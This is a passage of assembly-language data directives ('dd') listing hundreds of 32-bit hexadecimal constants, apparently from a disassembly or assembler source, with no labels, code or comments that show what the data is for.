		dd 0A1ACEC62h, 0EF99CF2Fh, 84C1834h, 7FABD76h, 63AF8EFEh
		dd 127DF01Bh, 2DA01DE8h, 4D06FB96h, 0C7B071DAh,	0E61555FDh
		dd 0D47D5F7Bh, 0BC28EC0h, 0EA498716h, 99DB4184h, 0E0A0217Fh
		dd 0BCC8F32Ah, 0D2A4DC7Ah, 72E07C9h, 0B7206A08h, 39382168h
		dd 0D87FDDF6h, 356DFCBBh, 0F1A8923Dh, 6D0665F8h, 0AC01F94Ah
		dd 0C217BAC0h, 1D98526Eh, 0D2AA3E3Dh, 0E6C546BEh, 282A807Eh
		dd 36BE8920h, 111E099h,	1730A683h, 56779FE0h, 0FA995E7h
		dd 5E398E8Ah, 5E361C8Ch, 8E1401D7h, 7FBFEB22h, 1D8BC90Bh
		dd 0A7B2A54Dh, 0C61E7165h, 92FA45C4h, 8340A36Ch, 99D9F4Fh
		dd 0FE10CBDEh, 49908B38h, 80E75A4Ch, 93ACEFFh, 8EE4E9D1h
		dd 0F7EF934Ch, 359447EFh, 0B7559690h, 49274438h, 0A4153B77h
		dd 0A20F48FAh, 0A93827Fh, 0B6391A08h, 0FBA363D7h, 67482A46h
		dd 7C515F80h, 5FED4687h, 4247E491h, 0E056DD0Dh,	4BFF5DB4h
		dd 0B43DCE48h, 0E961924Fh, 0F30AE173h, 53DD0D34h, 41BC8A35h
		dd 8ABD775Ah, 3A6807AFh, 0BF617C4Dh, 9D7BA760h,	4576921Ah
		dd 8EABA05Bh, 3E8C8532h, 1B99F748h, 3B8A606Fh, 8492E72Ch
		dd 0F24BAC0h, 28BF9FFCh, 531E5E0Ah, 9CD2DD7Ch, 0DD00790Ah
		dd 2DD836F0h, 0C885D4AEh, 0AEDD5FEFh, 9F9F9448h, 64E30C73h
		dd 1A9DB4CBh, 37ECCA48h, 0BF39B87Eh, 0D18C021h,	0E34A9443h
		dd 3B9BE443h, 0B455537Bh, 1AE872AAh, 7607A981h,	0C5AF1E64h
		dd 0B105FFAEh, 0C4BB8EBBh, 649FFE22h, 9D5E3978h, 433A5DEh
		dd 4B8CFECBh, 903920AFh, 3DBB23E8h, 6E039B95h, 3295B6CDh
		dd 8DE2CF86h, 0C9317766h, 8E7BBFC1h, 228CFE13h,	0EDC67784h
		dd 7E7BF15Eh, 6457170Ch, 0DD37651h, 20F2ECB5h, 23CA39BCh
		dd 0D626928h, 0CF1ECCB7h, 7699B5F2h, 9D3770EAh,	0AD4FEBAAh
		dd 5E2E51BEh, 74176DE0h, 40200B01h, 43B80FC4h, 0A28736B8h
		dd 1F7941B1h, 48FD855Ch, 8073BA4Ch, 126BAA4Dh, 0D5994BD3h
		dd 72ABEC6Eh, 0BCFF4D7Ah, 0D1A9996Eh, 2FAB2931h, 51450732h
		dd 0CE6F2019h, 1DFCA88Dh, 62D64B18h, 0B8D7134Bh, 8EA7FABFh
		dd 546D5332h, 0EA8B0DBFh, 0EF99F645h, 45785C8Ah, 29DAA864h
		dd 27115EAFh, 8F4C265Fh, 0BF014B08h, 0AF66DCADh, 0C3A3BFD9h
		dd 0CDB6BAB1h, 5F8645E9h, 46DF17A8h, 56FF7F7Fh,	0AE78CBBCh
		dd 4F830540h, 0F714BD66h, 0CBA47FFEh, 0CD652D6h, 10DF926Eh
		dd 5BB7F461h, 30620D09h, 7864CCE8h, 725AFF1Ch, 2EF3E278h
		dd 591F9252h, 75CFC72Dh, 0E758074Dh, 737C7C05h,	0D99C163Ch
		dd 56DB44B8h, 9D2D3D9Eh, 0A049E081h, 853599D5h,	0E6CDCFBBh
		dd 0EC3987B7h, 0A80A030Ah, 119A9CA3h, 541D936Ah, 0D76BDF80h
		dd 4AA41457h, 5F4B7215h, 2B0233B7h, 67B71CEAh, 72F8B630h
		dd 821A28D8h, 0A3017E1h, 5A1833DFh, 8F1F4C76h, 0E34375BBh
		dd 330DABA8h, 0BB47C199h, 0B44570EEh, 4A24064Dh, 56340C9Fh
		dd 0EB812ABEh, 0AAB54F4h, 0C9B910CBh, 75E62FEBh, 498578F1h
		dd 4AEB16B8h, 0E713F334h, 0F897C45Dh, 4BD10F71h, 0C14AD805h
		dd 381BC7C0h, 98B21AA3h, 0D4C72416h, 34AF4722h,	0D2360244h
		dd 9ED678FBh, 4B992478h, 0F767776h, 1788678Ch, 0B1FFFF59h
		dd 4955190Fh, 0EDC9F79Dh, 7765FA79h, 980722A0h,	33BFC44h
		dd 69F09459h, 33D869A5h, 431695DEh, 0FF526861h,	7B71FBE8h
		dd 0E881E941h, 16F3543Eh, 22A7C583h, 1AFF25B0h,	0B21E5F3Ch
		dd 2E6D6FB3h, 9E1A57FBh, 0E5B939D2h, 0EE738132h, 4A93A2F4h
		dd 5ADB12F6h, 712A03Ch,	27023B24h, 4AAD9ADBh, 0C25660BFh
		dd 0DCDA9751h, 0BEB49DD5h, 0B22B7C04h, 961736F3h, 0F5B30EB4h
		dd 0D44FFC62h, 0AD04A638h, 5AF540DCh, 62E3C7FFh, 0CEEA4402h
		dd 56834F7Ch, 0E8CEA696h, 3E0A58A8h, 4D23464Dh,	7602C78Bh
		dd 97AC9420h, 0A1CEBFD8h, 0A65A4903h, 0D53555E4h, 5C92FD26h
		dd 8144E70Fh, 4694589Ah, 45449267h, 5ACC3EB2h, 81D34852h
		dd 8B9B0F11h, 0AFF76170h, 0D3FEF8DFh, 0F247E713h, 0FA424B25h
		dd 7E30F57Ch, 3C5723CDh, 0A7AB1318h, 87F8FB13h,	8A007276h
		dd 193EAB43h, 44167D0Fh, 3D05E813h, 133E6E8Ch, 709C41B0h
		dd 9314AE22h, 89AFA218h, 0FC5FD031h, 0D8C9C4E3h, 0A4AF3F42h
		dd 81E62D15h, 36251A15h, 49193F30h, 401C9C20h, 28404E02h
		dd 0B42DB5B9h, 0CFC460D0h, 0DBB9D06Dh, 93F80943h, 0E16E6F62h
		dd 0C4DA1C70h, 0BB06E31Eh, 4932B8AAh, 0F5C2A097h, 3DBFA47h
		dd 4AACA185h, 633B7236h, 0E62EF51Ah, 634F8A02h,	6554DEh
		dd 8F7CB9F9h, 5EA590BCh, 7C97C084h, 0A02D3B0Dh,	0AF488FEBh
		dd 51199F17h, 5F5DCFC5h, 0ABB7BE0h, 0DA18CE0Fh,	0B4289724h
		dd 0DB566B3Bh, 0D7350C38h, 5C22FCE6h, 685DA6EEh, 25FE5C4Bh
		dd 3DB40FC0h, 292AA155h, 7C813522h, 0CEF59D8h, 6F9B5D53h
		dd 2C5477F7h, 85764950h, 192B0A03h, 269AB15Eh, 0B62D176Ah
		dd 8CA2F948h, 0B21066AEh, 72A27C7Ch, 15C5CB8Eh,	9F3DA9B6h
		dd 0BAD236C3h, 0A1C315D7h, 54C2CA77h, 7F1FEE83h, 0BD15846Ah
		dd 0AAB379Dh, 58124A0Ah, 0D749067Ch, 0B68A5368h, 827BC30Ch
		dd 0FF516CEEh, 752F433Fh, 6B0D0FE2h, 9D9E5768h,	0FBF67061h
		dd 0ED1B479Bh, 1894C74Ch, 46601421h, 0E0E4BE09h, 2D130FC1h
		dd 0F5536380h, 274452D1h, 393D610Eh, 3A286B8Bh,	0ADE46A79h
		dd 47AA09BEh, 0CB7784FAh, 0A981C5A6h, 91056CA0h, 605F3780h
		dd 8317023Dh, 61262D17h, 0D2C92789h, 0A331A98Ch, 4C87A897h
		dd 0C34D3528h, 0A768543Bh, 0AF900E77h, 623395B1h, 0F30F5F1Bh
		dd 1E993F9Eh, 78836702h, 4A490377h, 81D52AAFh, 21B0B9CEh
		dd 27955D82h, 92486BC6h, 0DCB9E68Bh, 0A3127B2Bh, 0C030C979h
		dd 726F5D39h, 9847691Ah, 4201DE0Dh, 25D914BCh, 2E859670h
		dd 0F0B19EDDh, 0D1D4B849h, 7438BBABh, 2EFC44BEh, 85995284h
		dd 9F403383h, 0C3C66D22h, 0B7E1A831h, 35961CBh,	7A00C00Dh
		dd 844BA0A7h, 4C8A8DD4h, 0E3C75EFh, 384F39FCh, 404445CDh
		dd 257CC70Ah, 0A6627F1Eh, 3DB841D4h, 0D7C61457h, 0AE2BBC10h
		dd 8F448B37h, 688ECEF0h, 0BFEDC315h, 5538E970h,	0A2E364Bh
		dd 2F033DB8h, 7DD2655Dh, 3937966Dh, 2233655Eh, 3B6D10B8h
		dd 0D1D4E51Fh, 0DC0730FCh, 9BC78014h, 0EC936EDBh, 9A49CF71h
		dd 0F129115Fh, 0BA567E37h
		dd 0AE60C74Dh, 3E0B5FB9h, 0F5FC1286h, 875BDCCCh, 6BE339D4h
		dd 8D9FD996h, 0A07E82B3h, 27D44B76h, 89D2A166h,	0E42540EEh
		dd 0CE76A261h, 57D9728Dh, 2CC9CF60h, 0F0189589h, 0A51089BAh
		dd 89D19002h, 1A0C2B99h, 83135C99h, 0BA9F7873h,	4B490001h
		dd 0A049AF2Dh, 0C804BC20h, 3D177500h, 0D507C9B1h, 0FFEEEA89h
		dd 79051FF6h, 5B9D5993h, 0F9AB74B8h, 206E8933h,	0B7A9BFD8h
		dd 6D8CC49Ch, 30F96EB2h, 10D8FB69h, 550D19D2h, 0EF3BF943h
		dd 3EDBFAB2h, 1E62F262h, 3D4F260Fh, 22143979h, 3579C040h
		dd 8475299Dh, 0BEFC5253h, 120004A4h, 9D60DF3Dh,	0A1A63BFh
		dd 3C14970Ah, 0A4F7FEA9h, 316EA6D7h, 5BED9DC6h,	0AA3B2EAAh
		dd 5824AA97h, 95558786h, 9DF3B1E6h, 1422E3A8h, 0E00A27Ch
		dd 0CE9BEF26h, 0D3235F46h, 0D06A3B82h, 8C62366h, 6EE41554h
		dd 0BB4AB997h, 379459F0h, 4FA73EDh, 9388480Dh, 0B7DCA721h
		dd 6EC5B22Fh, 0EC5A7FFh, 12274672h, 2555B4BBh, 0B02CBDCBh
		dd 1E159D4Eh, 86AA01BCh, 22E76E06h, 0C615CD29h,	5A1CFFC6h
		dd 7EBE6A54h, 0C887621Bh, 0A5CEB46Eh, 0F93CD326h, 9642948Ah
		dd 0B177AD6Bh, 53720232h, 249CD755h, 79CA718Eh,	0AD826FFCh
		dd 972A8659h, 0B8D15C3Fh, 0FCBF4798h, 624E5C92h, 32F33B9Dh
		dd 0C896EA56h, 0A1733D5Fh, 884B6F7Ah, 6D1FB6A0h, 40E81AA3h
		dd 8FB720DAh, 7D47B0E1h, 1EF0770Ch, 2BA0F141h, 8207083Fh
		dd 0DCBAE982h, 6699E2F8h, 0AA378E0h, 0FEB55370h, 7B3E6538h
		dd 0E66F655h, 51B4C5B4h, 53F5BC9Dh, 11EE15B4h, 0F201E13Ch
		dd 1750C4BBh, 1D2907C2h, 22B18031h, 0FC0A9300h,	0C35AE4A6h
		dd 0EBF95A66h, 0F68E68F8h, 1970DC3Eh, 0CBA5DAE8h, 1E0B94F1h
		dd 315A2E0Eh, 758CEE09h, 9EA0AAE1h, 0CBC98512h,	0C6A23706h
		dd 364C4A3Bh, 6A8C3A06h, 0EA9D86F5h, 486F14D9h,	72611C7h
		dd 0DD9C2381h, 88275C28h, 5919A62Bh, 82217B95h,	0DF68A244h
		dd 988D8706h, 0D34DA36Ah, 74CDD559h, 2506B6FCh,	474D7741h
		dd 0B11073F4h, 4E11909Fh, 0E7D88DADh, 9B0C635Ah, 93B5744Bh
		dd 41326CC2h, 184897CDh, 8FB1A26h, 0A1623A22h, 8CF0E519h
		dd 2A82C766h, 818F01F0h, 0DE429D09h, 0A2CF7B53h, 0B16E5719h
		dd 0AFB4E972h, 142C39CCh, 0CEA38779h, 4FEE966Eh, 0E57C7935h
		dd 0C5ACE07Dh, 6D295DC8h, 194DE420h, 2A5302DBh,	9497F388h
		dd 256C36FFh, 0A7B201E0h, 0FEAD2953h, 0B165A339h, 1AF6074Dh
		dd 207E0F72h, 0AD1103BAh, 0D806077Fh, 0AE7EB906h, 0B0F29BBDh
		dd 8804DE78h, 119FA335h, 45586BFh, 0E400C490h, 0E82B61BCh
		dd 8AC75E0Dh, 0A507B57h, 1A84502Bh, 0ECCF726Bh,	20B808DCh
		dd 9A2BA907h, 0FF92D14Eh, 9F6271Ch, 3578E5D1h, 0B045A57Eh
		dd 0DF75FFD0h, 0A09DE9E7h, 5FFB724Fh, 8E81BC4Eh, 329D209Dh
		dd 19F69748h, 0CAD5393Fh, 0AAF62233h, 0C073F937h, 0D11C12A2h
		dd 16054772h, 96F1461h,	0E584516Eh, 0EA10CDD5h,	5A1911C4h
		dd 6B664432h, 0C20E256Dh, 20563270h, 0D69A3952h, 88E7493Dh
		dd 0B0FBCC10h, 0FFE5B35Eh, 8B404299h, 8E659F98h, 489F09C2h
		dd 0EF53C512h, 9E0B2511h, 0BD8B68D4h, 0AA8A096h, 0FA4A7445h
		dd 0ADE6FC35h, 516DC304h, 909A963Fh, 89953E31h,	81A9B545h
		dd 2A3531D5h, 78FED0AFh, 2EF0A9AEh, 5E8095CBh, 47DB831Eh
		dd 0B264B250h, 3DF76F61h, 0BEDBE431h, 448DBF48h, 547AC8C3h
		dd 0E3B03A36h, 32BD47D0h, 0E388EC68h, 0AC1824Eh, 0C5771F3Ch
		dd 7FC3DB67h, 0D405BB67h, 21A1C1B9h, 8EC8E6BDh,	0A4B7CE0Bh
		dd 6633C230h, 127534EBh, 0AA1A0720h, 34114DC9h,	0AE18CA97h
		dd 20E35554h, 0AF302C12h, 0B27C6235h, 18EBF560h, 681D6592h
		dd 1B5E61D3h, 37BEB7EAh, 586DEBA4h, 927F7937h, 46F589D1h
		dd 0E5220D3h, 8C90B96Ch, 0AFC2DC9Dh, 98655BE0h,	0F0B11FD3h
		dd 6B79B062h, 62245995h, 25FB6C6Ah, 11733224h, 6AB5962Ah
		dd 0BCEA72Eh, 2666B3ABh, 50B29B98h, 19D0E0Fh, 24B0F206h
		dd 9AE01F88h, 0A45DAD6Bh, 1801D49h, 0F492475Ah,	7A569CA8h
		dd 0E8A3FDBFh, 5DF2F91Dh, 0C8A28883h, 0FE009B8Eh, 0ED0E730Ah
		dd 4D826A73h, 0CD2ED35Eh, 8786FCB1h, 58245B48h,	513BAA0Ch
		dd 9114D7B0h, 39CBF1F6h, 0C68CF560h, 10701DBAh,	3F8371B8h
		dd 149607D4h, 539480B6h, 0F0AF4F13h, 3B9F894Eh,	377761EFh
		dd 0A573DC9Dh, 56706410h, 0B3DD9E29h, 0C0CA8E45h, 3AEAA453h
		dd 0D76D0F69h, 76FD4B87h, 1E2C3DC2h, 24B693ADh,	0D3CF842Fh
		dd 0BEC3702Eh, 76BD6C9Ah, 560E9F47h, 572EC8D9h,	0EF000B94h
		dd 7355814Eh, 5F407EF2h, 1FBA76BBh, 0FB463686h,	0D8EE6489h
		dd 0D1137F7Ch, 91E41D7h, 0B40D8B78h, 3985A751h,	0D3065FE7h
		dd 84BE897Fh, 872E9600h, 138411EEh, 7527C589h, 39003BDCh
		dd 0B4E18FDAh, 288E41C7h, 4848962Dh, 3A2B82B7h,	3295D3h
		dd 0DE24A530h, 0F012D373h, 0F02ED6EBh, 6931F2F5h, 0DE4368Ch
		dd 0C14C32A1h, 61542866h, 78E1EF82h, 601F70B3h,	4009DEF1h
		dd 2DF7407Fh, 7F2A8DF1h, 851D919h, 0DA07360Ah, 6A87FB72h
		dd 70E0663Ch, 7D28A739h, 42014E1Dh, 0D1C58DDCh,	0B8107C7Fh
		dd 740A2C26h, 0A775FB53h, 695893B7h, 9BE88926h,	2FAC359Dh
		dd 33767D2Ch, 98954459h, 12667DC4h, 0B22E02E1h,	88037D25h
		dd 93E2A864h, 0ECCF5D48h, 0BEAD1616h, 28DAACBDh, 0F23A48B1h
		dd 4910A920h, 8C417C5h,	84249CFh, 0A43D0FCDh, 64CC237Ch
		dd 0E2F919A7h, 0FEF63108h, 6D34D1E0h, 9D53B532h, 0F63B5469h
		dd 0DCC0E24Bh, 5E217546h, 134423DFh, 548608A3h,	71576598h
		dd 60558D51h, 764C0DCh,	472D38DEh, 0A1E5F995h, 1B496E25h
		dd 0E1EA6DC2h, 0FC3938EDh, 0C764519Eh, 0E94D450Eh, 19721ADh
		dd 7F91CC7Eh, 0F28CF0BDh, 0D0AFBAE5h, 5BDD4E7Ch, 7D8F882Fh
		dd 85857068h, 0ECB165C5h, 6883AC08h, 260257C9h,	54181087h
		dd 0E1B8777h, 0BD09B024h, 91376378h, 0E3C1E4E8h, 2229BACBh
		dd 434E3F83h, 6B088892h, 0BC976300h, 48B6358h, 4CA3E8E5h
		dd 0BB1C1C5Fh, 6A57F2CFh, 0E13F8E36h, 0E16765FFh, 93D210BCh
		dd 0B08A7C04h, 165884DDh, 0E99B5985h, 6A2A506Ah, 46DD6A4Dh
		dd 0DD31F4BAh, 2F436AEFh, 7EBE4171h, 0F377F67Ch, 0CA858B27h
		dd 59862FBh, 0E02DC4E7h, 2D45F5B5h, 0ADE888E5h,	3A2B07BFh
		dd 6217D253h, 0F9CAC090h, 722CBDD6h, 21CE3D8Dh,	0C5FAE836h
		dd 0D8C7EFD2h, 0BA3A36F8h, 3DEEB75Bh, 91ABFE67h, 0D56133Eh
		dd 0E762CC83h, 92282362h, 0AAABB237h, 3BAD13FFh, 0AB6D66CDh
		dd 0A449FC4Ch, 55782E4Ah, 0D0DF3B52h, 8F423730h, 0D0F3AC51h
		dd 5E5FE077h, 0F11693EBh, 28C08645h, 0B35611F8h, 0DA7775DCh
		dd 0D3D37DC1h, 39A0A1E1h, 0F260BCC6h, 0AD62039Ch, 0A604E70Fh
		dd 19F7C15Eh, 5099E203h, 0DC5D5B72h, 0B880FE6Bh, 0D81B58BFh
		dd 13ECC740h, 0E5F5B14Dh, 1D61CA6Eh, 0A244DF4Eh, 0D701FB50h
		dd 0D2847B1Dh, 5EBCBAA7h, 37A1E652h, 0D94AB649h, 87905FAh
		dd 24E6177Bh, 70228B6Ah, 12048B1h, 0DDB1CA45h, 439EC1E1h
		dd 7DA30735h, 0EA9A412Bh, 0A4BB28B0h, 0B1A1EF32h, 24FCD596h
		dd 58ABA244h, 0FAFE2304h, 30F1CFDh, 0C06B45F5h,	6F85A2DEh
		dd 15C5788h, 44A75564h,	0A931C6B7h, 82CEA397h, 9C761049h
		dd 0A2349DBCh, 0CA002133h, 2247A4BFh, 0C693E519h, 62831911h
		dd 0D7306649h, 14C2103Eh, 8FE797E1h, 73A71FB0h,	773A9B9Eh
		dd 0BCA02CBh, 84989E09h
		dd 0BB959B76h, 6B7368D0h, 7AD2AD43h, 0FDA11B68h, 4B789954h
		dd 90D49A48h, 288E470Ah, 53B100AAh, 56F78B82h, 41735351h
		dd 9DFE100h, 0BEAD880Bh, 28DE483Fh, 0F15EA47h, 1243E934h
		dd 0D7E979FEh, 8B916C51h, 0C5F0305h, 5649D2CCh,	9A91FB53h
		dd 65574E43h, 8F258C1Eh, 965F3C18h, 0AB51BD63h,	0BFF5FC23h
		dd 55D14DA3h, 53FEFCD9h, 1D0FB93Bh, 368A54BAh, 627A41B7h
		dd 0A162709Fh, 3CE01F67h, 366702D2h, 0F3CC6C4Ch, 46FFD6BDh
		dd 37F5973Ch, 60CE931h,	3C92BCB6h, 7A5832BCh, 0B1247C7Ah
		dd 0ED89DE7Eh, 41297A1Eh, 640ACFF5h, 0C3CDA83Ch, 0FF8D155Bh
		dd 0FC98207Ch, 51C1BF57h, 479B7248h, 0F708D0D4h, 0D9529493h
		dd 0A8EF10DFh, 37115FB9h, 0DC0160Fh, 0B2691569h, 544D84B1h
		dd 0DAD50286h, 52C2D10Ah, 3AA55408h, 2174133h, 3544137Dh
		dd 6E4B32BDh, 17EBBE4Ch, 63768DB4h, 0DECA486Ch,	52DFF0FFh
		dd 1C174EC7h, 0C3A28BB4h, 0E800361Bh, 5CBA9714h, 0F88153A1h
		dd 0D9B0BED9h, 0BC4730BCh, 7FA0D6A6h, 0EBEE7284h, 110D34F1h
		dd 68D58788h, 0A4216C68h, 162F421h, 0C6128B16h,	0FF1B541Fh
		dd 2AE751CAh, 8FE82CF4h, 14E6320Dh, 0AE4A8C0Bh,	504DEF77h
		dd 2A610D5Ah, 0B927F31Eh, 2B030143h, 5C06749Ah,	0A0248474h
		dd 915C947Fh, 15C19473h, 3C18006Bh, 6C769514h, 14390054h
		dd 18A57F42h, 1225D368h, 7D18F666h, 4847E61Ah, 0D0A44EEh
		dd 0D396E973h, 473B29ABh, 61963AFh, 9DFA13BAh, 0AF44B29Bh
		dd 70676B8h, 0C0F4708Ah, 1BC00F48h, 0E2D35E5Bh,	0BFFC26C1h
		dd 704A9842h, 67D17043h, 0DA695FAFh, 0B5A932AEh, 4EE251A1h
		dd 235B88D9h, 8F04398Ah, 5E69E46Dh, 35D1BFE9h, 970B98B9h
		dd 85214DA3h, 0C283038Fh, 0AAEF7609h, 279EF24Ch, 0D38965F4h
		dd 0BDB33713h, 325C0E0h, 0F434FCF0h, 0CDB737FCh, 8F5734ACh
		dd 991B4120h, 2BBEDCF9h, 4B508434h, 5119E7B6h, 0CB2675D4h
		dd 0EE503EA1h, 32B3EB22h, 0A6E8F380h, 6A569982h, 28EB4F27h
		dd 0EA7D26D5h, 12880631h, 71ADBBEAh, 57C9768Eh,	3271317Dh
		dd 1D1C5B3Ah, 0BAE14702h, 74C1F2C5h, 0DDE041ABh, 643BBCE1h
		dd 8184409Bh, 0D3BB8F0Ah, 8E4BC251h, 42F2B496h,	0E4B6EF9h
		dd 90F8A69Dh, 0D71F5854h, 18E81219h, 0EA11E6D5h, 295EC548h
		dd 1B230F33h, 9CF4FD48h, 0EEFFDA4Ah, 1E26E47Eh,	4AB8FD69h
		dd 6DAB93CAh, 0D628BBA7h, 7A362739h, 27ED9B0Bh,	0B0D156D4h
		dd 257309B2h, 0DD543178h, 0D8711706h, 2B472AA7h, 62ACA10Bh
		dd 8DB1F4AEh, 0C053F8h,	43E13E7Bh, 50F59646h, 929D75E8h
		dd 5400F5F9h, 0BFB1BD69h, 1EA7C690h, 1F9F18F3h,	8B79342Ch
		dd 0EBCBABE9h, 0B1C98735h, 1B9F3B55h, 0DD86368Ch, 649F7900h
		dd 5FA2198Ah, 7B262442h, 3C45E584h, 0AD2708ACh,	696D02Fh
		dd 27FDB8B0h, 3B714F75h, 95D4C6B2h, 0BF7277BCh,	0A2421BCCh
		dd 540E5391h, 29BD1024h, 6CA3F3Ch, 0C9715B3Ah, 54280073h
		dd 0BB9D16D2h, 48891D5Fh, 0CF9E7953h, 0DB81387Bh, 0A0EEA677h
		dd 9EDF9AACh, 795DE923h, 316BFD26h, 4F85F39Eh, 0BF69DA6Dh
		dd 0C56C809Ch, 1E1FFAA6h, 0EA0C5338h, 1D8B8B0Eh, 96C0CC9Eh
		dd 824D17E6h, 1593D885h, 8B37DB2Ch, 66D8AD1Bh, 2D902462h
		dd 0D8467397h, 14D83D5Dh, 65DDAEB2h, 34821933h,	0A13F60A2h
		dd 7D75A6BFh, 1C20A17h,	8B8917Ch, 0BA3C62B1h, 0DA4B1497h
		dd 672F3846h, 434CECFAh, 6994C661h, 0AE7EFB2Ah,	15479BA4h
		dd 0DF6DF545h, 87E31CD2h, 906216EDh, 0E174403Ch, 0F6F2817Dh
		dd 0BF5DB39Fh, 439700h,	0BD32E9B9h, 0E0A980F4h,	0CEDD730h
		dd 7E753Fh, 0AE6D37Eh, 0B5CA2CF4h, 1BDAE9A6h, 0E5971DF2h
		dd 37AEF922h, 16683739h, 0D1FDD42Eh, 0B8DAEB14h, 0AF6DA3B9h
		dd 752D7BC9h, 1BB9AC33h, 36A69755h, 0D9D4A2A0h,	610C2B82h
		dd 0BC210DF5h, 0D0A43AD1h, 0DF117F11h, 0D3967861h, 3D845B38h
		dd 32D26694h, 0E5F63E97h, 0BF5D63A7h, 0B7D16934h, 2FDCADCCh
		dd 0E07F3934h, 0D7634E3Ah, 3D58A68Bh, 296AC720h, 0BD40544Bh
		dd 0CDABDB00h, 0E402B817h, 7C8AC47Eh, 0D5F3AFC1h, 0D8253CE7h
		dd 4FAC0D11h, 0F0847F0h, 93B7BC51h, 5B142D06h, 5335AA61h
		dd 64C7BB44h, 0B834990Eh, 29843F96h, 8FDF9523h,	754DD90Fh
		dd 701E0758h, 0CD8DD849h, 0B1D79AA6h, 25202781h, 0CE51C872h
		dd 7701B07Eh, 37BB48Ch,	2C82297Dh, 65DB957Ah, 179EAC3Fh
		dd 0C6801974h, 0FB94D5AAh, 0AB8A9AFBh, 0CAD5A564h, 8C61F61h
		dd 0D0209FBDh, 0A5F12ADDh, 1BCA2A25h, 0B8CA51F7h, 4C530E7h
		dd 86340F8Eh, 806C6B38h, 0D6A8E7BAh, 2C472885h,	0A8619235h
		dd 0BA2A16D3h, 4339BA6Dh, 5F49641h, 499A39F3h, 94BDB35h
		dd 5C340E03h, 0F83828C3h, 5D321E92h, 0A1B066F5h, 572A90F9h
		dd 59A3E943h, 784495F9h, 0BD259DBEh, 301A0DA3h,	8B305642h
		dd 9753ACD9h, 4AEF7C0Dh, 5B1A29D3h, 59874FBDh, 0E24A2ED4h
		dd 473769A5h, 68673052h, 0FA3C6E25h, 0C2ABFD25h, 0DC87A5Bh
		dd 0AFE52558h, 5B222099h, 0C7D6FF5Fh, 87B6FB47h, 82D3D09Dh
		dd 0C413893Bh, 836E86B6h, 4DB19B25h, 0E2B0E54Dh, 52A84EE2h
		dd 0CE1D995Ch, 35E89981h, 0FD004045h, 0F2590F28h, 1A8B9CF0h
		dd 76E8D7E2h, 6210A41Dh, 4DE891BBh, 6CA1E1E6h, 0D96F429Dh
		dd 43E0CFF8h, 0C242DE6Eh, 8E5B1E59h, 26ECC8F8h,	9A535353h
		dd 8BE25FCh, 0EDD2AD9Bh, 0ADC8C3A1h, 0AE74CF56h, 0C4869D5Ch
		dd 0D2566F18h, 0C6EC1E7Fh, 40179DB5h, 960079A8h, 9C07F2Ah
		dd 0A5303763h, 69673DFh, 5BF7788Ch, 0E7E28F82h,	6E5CDF7Eh
		dd 927E304Bh, 71727844h, 0D9A5B60Eh, 68595888h,	0DC54500Eh
		dd 5B19B515h, 0F6773D05h, 0B7E539E2h, 7E0C6480h, 409CAEC2h
		dd 75B8CD0Fh, 0FCB6B7AAh, 0CCEE7C12h, 0ED55EEEh, 0EBB2B568h
		dd 1BE3EF93h, 0AB42A74Ch, 0F41F994Dh, 0DC9ECB72h, 0DB2EEB10h
		dd 31281071h, 2EFDB711h, 1BEC312Dh, 0F7BEB13h, 9F131E63h
		dd 58BFCD04h, 0E615A253h, 0C970512Fh, 69F6AF29h, 0E07C300Bh
		dd 84C46FBAh, 0F4E06C37h, 75239A45h, 0F7D74E8Fh, 86C2C092h
		dd 2FCCBF74h, 255F3056h, 87B68CD4h, 0B4B7FB2h, 0F199C1ADh
		dd 0AF0F3D95h, 250C359Eh, 0A12753B6h, 0AAEF8E62h, 7684D2CCh
		dd 0A6389B79h, 74AA420Eh, 0FF18A601h, 77BE4002h, 1A336ADDh
		dd 670300C9h, 0A843AEA1h, 3D6E7190h, 0DE0D19B0h, 0AF440AA7h
		dd 0E719698h, 0EE0520Dh, 9CFE6C42h, 0B9216C22h,	0E4F5C8BDh
		dd 0F22AADFBh, 837944C7h, 2AD1BF95h, 12C3A6E7h,	0B0E707D5h
		dd 8F83F296h, 0C1CA4893h, 18843251h, 7D0F77B1h,	5171C6BAh
		dd 0BD23FF47h, 0E93D2940h, 0E0FA452h, 8C501651h, 8287680Fh
		dd 27C4B376h, 75A841A7h, 33B9387h, 3BAF7101h, 91C91886h
		dd 80E329A3h, 6F1FCF02h, 605CAC3Bh, 8379BBF7h, 0C04DF914h
		dd 36A8177Bh, 17B8C36Bh, 8481B7E3h, 0B08587A0h,	612943F3h
		dd 28025E39h, 0B59F69C4h, 0E027C6A7h, 0EB55B151h, 0F15CA995h
		dd 155CE1E2h, 53A1E065h, 2F120A19h, 1BCDF471h, 2A2E7D37h
		dd 476CDF41h, 0F490110Eh, 490DDA50h, 90950606h,	6046CAFAh
		dd 0BB01272Dh, 498CA25Ah, 30BB4542h, 7B1AABEDh,	9E8D08DEh
		dd 217F193h, 64A9949Bh,	75541FF7h, 0A29510F5h, 0F83FD8EEh
		dd 4A802BAh, 753F475h, 4962D72Ch, 5BDA7044h, 62F64A33h
		dd 0C431059Ch, 18C91F35h, 966BD50h, 845845B1h, 0AEFAB734h
		dd 284EB5F2h, 1EF5F19Ah
		dd 0A3D05D3Dh, 64F73D41h, 0FE3DE444h, 318419AEh, 8E13DF10h
		dd 4D90337Eh, 0ED927C33h, 9501512Ch, 59619F24h,	5F93DE21h
		dd 0BE3692F3h, 9EE71D77h, 0E85A75D5h, 0EBA514BEh, 6BE788FEh
		dd 0B8AE2A7Bh, 88713FFBh, 0A7893D37h, 123507B7h, 0A556CBCh
		dd 8872372Eh, 0E9AB1AA1h, 0AB1BAE19h, 467B11E9h, 0EB3EE6EBh
		dd 74654A9Eh, 938D1B37h, 90E0214Ch, 0E64A484h, 3FE45D8Eh
		dd 3523659Ch, 0A2ED17EFh, 35EFC94Eh, 536B6967h,	89E87157h
		dd 0DE7BF071h, 4CBB3934h, 5C9D7112h, 3D2F84C0h,	19D85CDBh
		dd 0F205AD76h, 151E7D66h, 0FE683C43h, 4943CD79h, 81744DC4h
		dd 51E52081h, 8F66CD7Ah, 75DA10C2h, 9FD6D99Eh, 63B94244h
		dd 75C22BC6h, 7873D99Ah, 0F5A5116Ah, 1C5666A0h,	0B9A0FF47h
		dd 740CB0B2h, 0E1EA8F0Eh, 915B172Dh, 0D7837B4Fh, 85EE9816h
		dd 4B51D0A6h, 654EDA04h, 86985250h, 0A083DF73h,	677BDFE3h
		dd 0E70F8F31h, 8E3BB410h, 87A22310h, 3868B726h,	0FE724892h
		dd 9C8AD8CFh, 86C20F43h, 3D05ABC9h, 9750E97Bh, 7E28A4A5h
